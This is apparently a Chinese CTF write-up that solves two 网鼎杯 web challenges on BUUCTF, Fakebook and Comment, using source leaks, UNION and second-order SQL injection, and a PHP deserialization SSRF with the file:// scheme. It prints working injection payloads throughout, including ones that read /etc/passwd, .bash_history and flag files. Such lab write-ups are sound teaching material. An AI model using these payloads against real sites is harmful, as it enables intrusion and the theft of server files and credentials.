今年的网鼎杯也快要来了,就想找上一届的 ctf 题目来看看,正好发现buuctf上面有三个 web
(Fakebook,Comment,Unfinish),但最后一题不知道是我姿势有问题还是环境问题,总之只复现了两个 web。
Fakebook
考点:
- php 代码审计
- sql 注入
- php 反序列化
- ssrf
存在有 robots
文件,访问之得到源码地址 /user.php.bak
,于是下载
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
一个 UserInfo
类,前面都是一些传参,主要的点在 get
方法中,其次 isValidBlog
方法对用户输入进行了过滤。
看 get
方法,先初始化 curl
会话,设置一个 url
链接,然后第二个 curl_setopt
里面是 1
,表示如果成功只将结果返回,不输出任何内容。如果失败返回 FALSE
,随即运行 curl
,并返回执行结果。 $httpCode
用来获取 http
状态码。
分析了定义的 get
方法后,我们再来简单了解下 curl
的用法及特性,而且后面注册输入博客 url
时是会加载的,综合这些信息,可容易得出由于对 curl
控制不严导致存在 ssrf
漏洞, curl
支持多种协议:
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp
试想这里我们是不是可以利用 curl
支持的 file
协议来构造读取服务器内文件,但是由于 isValidBlog
方法的存在导致我们不能直接在注册处读取文件。
回到题目,先随意注册一个用户登录进去,可以选一些比如 baidu
之类的网址,会明显看到博客地址有被加载
注意 url
的格式,可能存在注入
/view.php?no=1
查字段数: 4
/view.php?no=1 order by 4
联合查询显示 no hack
,利用注释符轻松绕过
/view.php?no=-1 union/**/select 1,2,3,4#
查库名为: fakebook
/view.php?no=-1 union/**/select 1,database(),3,4#
查表名为: users
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#
查列名: no
, username
, passwd
, data
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'#
查出其中所有数据:
/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users#
1zjundad271d633ebcf4f364ab8976fc5ea5035360d5420fc644a41cadc1b6098c98b901cf8c8609207dd774f2996c542115a20e36c9e06d0ec0f97dcedec30d59db6O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:19;s:4:"blog";s:21:"https://www.zjun.info";}
data
列存储的数据是序列化的字符串,可以利用前面的 ssrf
配合 file
协议构造 paylod
读取 flag
文件
先构造 pop
链(其实不构造也行,直接把上面的 博客地址
改成 flag 路径
,再改下 字符长度
传过去即可)
<?php
class UserInfo{
public $name = "";
public $age = 0;
public $blog = "";
}
$a=new UserInfo();
$a->name="zjun";
$a->blog="file:///var/www/html/flag.php";
echo serialize($a);
?>
php
执行一下输出
O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
最终 payload
:
view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
查看源码得:
data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5NGQ4OTk2OS04NTQyLTQwZGEtYjdiZS1kODMzNmM3NWVjMWR9IjsNCmV4aXQoMCk7DQo=
base64
解码:
echo 'PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5NGQ4OTk2OS04NTQyLTQwZGEtYjdiZS1kODMzNmM3NWVjMWR9IjsNCmV4aXQoMCk7DQo=' | base64 -d
得 flag
:
<?php
$flag = "flag{94d89969-8542-40da-b7be-d8336c75ec1d}";
exit(0);
除此之外还存在一非预期解法,由于有较高权限以及可用 load_file()
函数,所以可以直接构造 payload
:
/view.php?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4#
然后查看源码直接可得 flag
Comment
考点:
- git 用法
- php 代码审计
- 二次注入
- linux bash 杂点
来看看题,一个留言板,发帖跳转登录
帐号给出了,密码简单爆破一下,得 zhangwei666
,然后又来到发帖页面
控制台发现 程序员 GIT 写一半跑路了,都没来得及 Commit
字样,由 git
和 commit
判断可能存在 git
源码泄漏以及与 git
状态相关的东西,所以利用GitHacker工具,可连同 .git
目录一起下载下来。
查看 git
操作记录
git log --reflog
commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:51:17 2018 +0800
WIP on master: bfbdf21 add write_do.php
commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:51:17 2018 +0800
index on master: bfbdf21 add write_do.php
commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master)
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:47:29 2018 +0800
add write_do.php
把第一行版本源码恢复出来
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
得到完整源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
审计代码发现当 get
传入的 do=write
时,利用 addslashes()
函数对 post
传入的变量进行转义,在每个双引号 "
前添加反斜杠
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
而当 do=comment
时,直接传入未进行有效过滤
$bo_id = addslashes($_POST['bo_id']);
源码中的 write
和 comment
分别对应 发帖
和 留言
界面,结合二者和题目靶机结构,可以构造代码完成二次注入的操作。
下面来看看具体如何实现,留言界面,构造 sql
语句,源码是:
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
构造如下:
$sql = "insert into comment
set category = '',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
发帖时,通过 addslashes()
函数转义存入数据库,再从数据库中查询放入 sql
语句,显示出来,这里没有进行转义,所以在留言时利用多行注释符 /**/
即可闭合 sql
语句,执行我们的查询内容。
来看看效果:
然后查看详情,留言处将其闭合:
点击提交, sql
语句执行:
接下来我们可以利用 sql
语句查询或配合 load_file()
函数读取服务器文件,直到读取到 flag
即可
读 /etc/passwd
:
',content=load_file("/etc/passwd"),/*
最后一行可见 www
以 bash
身份运行,读 bash
历史操作 /home/www/.bash_history
:
',content=load_file("/home/www/.bash_history"),/*
格式化一下操作如下:
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
注意 /var/www/html
中的 .DS_Store
被删除了,但是 /tmp/html
下的该文件还存在,读之(外加一层 hex
编码,不然会显示不全):
',content=hex(load_file("/tmp/html/.DS_Store")),/*
字符很多,用小陈师傅的在线工具解码一下,可发现不是很清晰的 flag_8946e1ff1ee3e40f.php
字样
又读之
',content=hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")),/*
解码后得假的 flag
<?php
$flag = 'flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}';
?>
换个目录读,因为是复制过来的, /var/www/html/
中也自然有这个 flag
文件,读之
',content=hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")),/*
得真 flag
<?php
$flag="flag{362afbce-ac8e-438f-b969-9b1ce19f874b}";
?>